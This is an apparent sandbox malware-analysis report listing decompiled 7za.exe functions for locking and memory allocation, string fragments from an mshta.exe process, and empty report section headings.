0x0045b526
0x0045b52e
0x0045b539
0x0045b540
0x0045b554
0x0045b67d
0x0045b689
0x00000000
0x0045b689
0x0045b55a
0x0045b569
0x0045b5c1
0x0045b5c8
0x0045b5cd
0x0045b5d5
0x0045b5e1
0x0045b5f0
0x0045b5f6
0x0045b5f6
0x0045b5fb
0x0045b602
0x0045b60d
0x0045b614
0x0045b618
0x0045b61e
0x0045b621
0x0045b626
0x0045b62f
0x0045b637
0x0045b639
0x0045b639
0x0045b654
0x0045b660
0x0045b662
0x0045b662
0x0045b664
0x0045b667
0x0045b66f
0x0045b56b
0x0045b56b
0x0045b56f
0x0045b575
0x0045b57c
0x0045b58b
0x0045b58f
0x0045b596
0x0045b59b
0x0045b5a7
0x0045b5a9
0x0045b5ab
0x0045b5ad
0x0045b5b4
0x0045b5b7
0x0045b5b7
0x0045b569
0x0045b69a
0x0045b69a

APIs

Part of subcall function 00467AC0: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00467AC3

Part of subcall function 00467B10: SetEvent.KERNEL32(00000000,00410FDF), ref: 00467B13
Part of subcall function 00467B10: GetLastError.KERNEL32 ref: 00467B20

EnterCriticalSection.KERNEL32(?), ref: 0045B56F
EnterCriticalSection.KERNEL32(?), ref: 0045B57C
LeaveCriticalSection.KERNEL32(?), ref: 0045B5B4
LeaveCriticalSection.KERNEL32(?), ref: 0045B5B7

Part of subcall function 00467C30: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000,0040E8FE,0040EA32,?), ref: 00467C37
Part of subcall function 00467C30: GetLastError.KERNEL32 ref: 00467C44

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00463450, Relevance: 5.1, APIs: 4, Instructions: 63

C-Code - Quality: 100%

			E00463450() {
				void* __esi;
				intOrPtr _t21;
				signed int _t22;
				intOrPtr _t24;
				struct _CRITICAL_SECTION* _t25;
				void* _t30;
				intOrPtr _t31;
				intOrPtr _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t44;
				struct _CRITICAL_SECTION* _t45;
				void* _t47;

				_t41 =  *((intOrPtr*)(_t47 + 0xc));
				while(1) {
					_t31 =  *_t41;
					_t21 =  *((intOrPtr*)(_t41 + 0x14));
					if(_t21 !=  *((intOrPtr*)(_t31 + 8)) - 1) {
						_t22 = _t21 + 1;
					} else {
						_t22 = 0;
					}
					_t30 = _t31 + 0x270 + ((_t22 << 4) + _t22) * 4;
					_t24 = E00463300(_t41, _t47 + 0x10);
					_t40 = _t24;
					if(_t40 != 0) {
						break;
					}
					if( *((intOrPtr*)(_t47 + 0x10)) == _t24) {
						continue;
					} else {
						return _t24;
					}
					L12:
				}
				_t44 =  *_t41;
				_t25 = _t44 + 0x20;
				 *(_t47 + 0x18) = _t25;
				EnterCriticalSection(_t25);
				if( *((intOrPtr*)(_t44 + 0x38)) == 0) {
					 *((intOrPtr*)(_t44 + 0x38)) = _t40;
				}
				LeaveCriticalSection( *(_t47 + 0x14));
				_t42 =  *_t41;
				_t45 = _t42 + 0x58;
				EnterCriticalSection(_t45);
				if( *((intOrPtr*)(_t42 + 0x54)) == 0) {
					 *((intOrPtr*)(_t42 + 0x54)) = _t40;
				}
				LeaveCriticalSection(_t45);
				 *((intOrPtr*)(_t30 + 0x34)) = 1;
				 *((intOrPtr*)(_t30 + 0x38)) = 1;
				E00467B10(_t30 + 0x3c);
				E00467B10(_t30 + 0x40);
				return _t40;
				goto L12;
			}

0x00463452
0x00463457
0x00463457
0x0046345c
0x00463462
0x00463468
0x00463464
0x00463464
0x00463464
0x00463475
0x0046347c
0x00463481
0x00463485
0x00000000
0x00000000
0x0046348b
0x00000000
0x00463490
0x00463490
0x00463490
0x00000000
0x0046348b
0x00463494
0x00463496
0x0046349a
0x0046349e
0x004634a8
0x004634aa
0x004634aa
0x004634b2
0x004634b8
0x004634ba
0x004634be
0x004634c8
0x004634ca
0x004634ca
0x004634ce
0x004634dc
0x004634df
0x004634e2
0x004634ea
0x004634f5
0x00000000

APIs

EnterCriticalSection.KERNEL32(?), ref: 0046349E
LeaveCriticalSection.KERNEL32(?), ref: 004634B2
EnterCriticalSection.KERNEL32(?), ref: 004634BE
LeaveCriticalSection.KERNEL32(?), ref: 004634CE

Part of subcall function 00467B10: SetEvent.KERNEL32(00000000,00410FDF), ref: 00467B13
Part of subcall function 00467B10: GetLastError.KERNEL32 ref: 00467B20

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046F168, Relevance: 5.1, APIs: 4, Instructions: 53

C-Code - Quality: 100%

			E0046F168() {
				signed int _t15;
				void* _t17;
				void* _t19;
				void* _t25;
				signed int _t26;
				void* _t27;
				intOrPtr* _t29;

				_t15 =  *0x496574; // 0x0
				_t26 =  *0x496564; // 0x0
				if(_t15 != _t26) {
					L3:
					_t27 =  *0x496578; // 0x0
					_t29 = _t27 + (_t15 + _t15 * 4) * 4;
					_t17 = HeapAlloc( *0x496580, 8, 0x41c4);
					 *(_t29 + 0x10) = _t17;
					if(_t17 == 0) {
						L6:
						return 0;
					}
					_t19 = VirtualAlloc(0, 0x100000, 0x2000, 4);
					 *(_t29 + 0xc) = _t19;
					if(_t19 != 0) {
						 *(_t29 + 8) =  *(_t29 + 8) | 0xffffffff;
						 *_t29 = 0;
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *0x496574 =  *0x496574 + 1;
						 *( *(_t29 + 0x10)) =  *( *(_t29 + 0x10)) | 0xffffffff;
						return _t29;
					}
					HeapFree( *0x496580, 0,  *(_t29 + 0x10));
					goto L6;
				}
				_t2 = _t26 * 4; // 0x50
				_t25 = HeapReAlloc( *0x496580, 0,  *0x496578, _t26 + _t2 + 0x50 << 2);
				if(_t25 == 0) {
					goto L6;
				}
				 *0x496564 =  *0x496564 + 0x10;
				 *0x496578 = _t25;
				_t15 =  *0x496574; // 0x0
				goto L3;
			}

0x0046f168
0x0046f16d
0x0046f179
0x0046f1ab
0x0046f1ab
0x0046f1c1
0x0046f1c4
0x0046f1cc
0x0046f1cf
0x0046f1fb
0x00000000
0x0046f1fb
0x0046f1de
0x0046f1e6
0x0046f1e9
0x0046f1ff
0x0046f203
0x0046f205
0x0046f208
0x0046f211
0x00000000
0x0046f214
0x0046f1f5
0x00000000
0x0046f1f5
0x0046f17b
0x0046f190
0x0046f198
0x00000000
0x00000000
0x0046f19a
0x0046f1a1
0x0046f1a6
0x00000000

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,0046EF30,00000000,00000000,00000000,0046C051,00000000,00000000,?,00000000,00000000,00000000), ref: 0046F190
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,0046EF30,00000000,00000000,00000000,0046C051,00000000,00000000,?,00000000,00000000,00000000), ref: 0046F1C4
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 0046F1DE
HeapFree.KERNEL32(00000000,?), ref: 0046F1F5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046E541, Relevance: 5.0, APIs: 4, Instructions: 12

C-Code - Quality: 100%

			E0046E541(void* __eax) {
				void* _t1;

				_t1 = __eax;
				InitializeCriticalSection( *0x48e0ac);
				InitializeCriticalSection( *0x48e09c);
				InitializeCriticalSection( *0x48e08c);
				InitializeCriticalSection( *0x48e06c);
				return _t1;
			}

0x0046e541
0x0046e54e
0x0046e556
0x0046e55e
0x0046e566
0x0046e569

APIs

InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E54E
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E556
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E55E
InitializeCriticalSection.KERNEL32(?,0046E322,?,0046CFBC), ref: 0046E566

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Analysis Process: mshta.exe PID: 2692 Parent PID: 3996

Executed Functions

Non-executed Functions

Function 027FC633, Relevance: 12.9, Strings: 10, Instructions: 440

Strings

y-au, xrefs: 027FC7D2
, xrefs: 027FCCE1
ic , xrefs: 027FC7F5
thor, xrefs: 027FC7D9
wNC, xrefs: 027FCD78
sNC, xrefs: 027FCD3D
NNC, xrefs: 027FCCEC
Bas, xrefs: 027FC7EE
DNC, xrefs: 027FCCBF
izatthor, xrefs: 027FC80E

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027F28CD, Relevance: 12.7, Strings: 10, Instructions: 191

Strings

mB, xrefs: 027F29C0
KB, xrefs: 027F2B59
}B, xrefs: 027F29E0
PB, xrefs: 027F2ACE
3B, xrefs: 027F2925
ZB, xrefs: 027F2956
uB, xrefs: 027F29D0
EB, xrefs: 027F2AE3
>B, xrefs: 027F2AD5
AB, xrefs: 027F2B38

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E4B3F, Relevance: 11.4, Strings: 9, Instructions: 200

Strings

`{B, xrefs: 027E4CC9
p{B, xrefs: 027E4BC7
p{B, xrefs: 027E4BEB
t{B, xrefs: 027E4D42
b{B, xrefs: 027E4CBF
r{B, xrefs: 027E4BD1
l{B, xrefs: 027E4B9E
d{Bf{Bh{Bj{Bl{Bn{B, xrefs: 027E4CB5
n{B, xrefs: 027E4BA8

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027F9BE0, Relevance: 10.3, Strings: 8, Instructions: 317

Strings

,AC, xrefs: 027FA08F
x@C, xrefs: 027F9CAA
~@C, xrefs: 027F9CB8
x@C, xrefs: 027F9D68
z@C, xrefs: 027F9D61
x@C, xrefs: 027F9CA3
|@C, xrefs: 027F9CB1
v@C, xrefs: 027F9D6F

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027FBD30, Relevance: 10.2, Strings: 8, Instructions: 188

Strings

adin, xrefs: 027FBE1F
itin, xrefs: 027FBE7C
using , xrefs: 027FBE89
n fo, xrefs: 027FBE11
r wr, xrefs: 027FBE75
o fo, xrefs: 027FBE6E
r re, xrefs: 027FBE18
dKC, xrefs: 027FC050

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027F900D, Relevance: 9.1, Strings: 7, Instructions: 306

Strings

p, xrefs: 027F903D
p, xrefs: 027F931B
a2C, xrefs: 027F90B5
, xrefs: 027F9079
p, xrefs: 027F9047
_, xrefs: 027F9135
|2C, xrefs: 027F9238

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E9AB0, Relevance: 6.4, Strings: 5, Instructions: 150

Strings

, xrefs: 027E9B76
time, xrefs: 027E9B6C
unkn, xrefs: 027E9B58
, xrefs: 027E9B80
own , xrefs: 027E9B62

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E4E9F, Relevance: 6.3, Strings: 5, Instructions: 92

Strings

`{B, xrefs: 027E4CC9
t{B, xrefs: 027E4D42
b{B, xrefs: 027E4CBF
d{Bf{Bh{Bj{Bl{Bn{B, xrefs: 027E4CB5
'|B, xrefs: 027E4EC8

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027FEB4F, Relevance: 5.3, Strings: 4, Instructions: 312

Strings

p, xrefs: 027FEB89
p, xrefs: 027FEB7F
p, xrefs: 027FEE9F
_, xrefs: 027FEC6A

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027FCF03, Relevance: 5.3, Strings: 4, Instructions: 304

Strings

p, xrefs: 027FD213
LOC, xrefs: 027FD442
p, xrefs: 027FCF5A
p, xrefs: 027FCF50

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027FDDD8, Relevance: 5.2, Strings: 4, Instructions: 233

Strings

7TC, xrefs: 027FDF9F
p, xrefs: 027FDE16
p, xrefs: 027FDE20
_, xrefs: 027FDEB0

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E3F47, Relevance: 5.2, Strings: 4, Instructions: 184

Strings

`rB, xrefs: 027E3F6C
`wB, xrefs: 027E427F
omB, xrefs: 027E3F74
LtB, xrefs: 027E4470

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E3E98, Relevance: 5.2, Strings: 4, Instructions: 184

Strings

`wB, xrefs: 027E427F
omB, xrefs: 027E3EC5
$rB, xrefs: 027E3EBD
LtB, xrefs: 027E4470

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E3E06, Relevance: 5.2, Strings: 4, Instructions: 170

Strings

qB, xrefs: 027E3E2B
`wB, xrefs: 027E427F
LtB, xrefs: 027E4470
omB, xrefs: 027E3E33

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Function 027E44A0, Relevance: 5.0, Strings: 4, Instructions: 28

Strings

?nBSnB, xrefs: 027E45AB
@xB, xrefs: 027E4584
?nBSnB, xrefs: 027E44AF
wB, xrefs: 027E4571

Memory Dump Source

Source File: 00000011.00000001.817739959.027E1000.00000020.sdmp, Offset: 027E0000, based on PE: true

Associated: 00000011.00000001.817727996.027E0000.00000002.sdmp
Associated: 00000011.00000001.817753584.02806000.00000008.sdmp
Associated: 00000011.00000001.817765094.02818000.00000002.sdmp
Associated: 00000011.00000001.817778282.02819000.00000008.sdmp
Associated: 00000011.00000001.817789231.0281E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_1_27e0000_mshta.jbxd

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Signature Overview

AV Detection:

Cryptography:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

Networking:

Boot Survival:

Remote Access Functionality:

Persistence and Installation Behavior:

Data Obfuscation:

Spreading:

System Summary:

HIPS / PFW / Operating System Protection Evasion:

Anti Debugging:

Malware Analysis System Evasion:

Hooking and other Techniques for Hiding and Protection:

Lowering of HIPS / PFW / Operating System Security Settings:

Language, Device and Operating System Detection:

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Domains

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

Dropped Files

Screenshot

Startup

Created / dropped Files

Contacted Domains/Contacted IPs

Contacted Domains

Contacted IPs

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage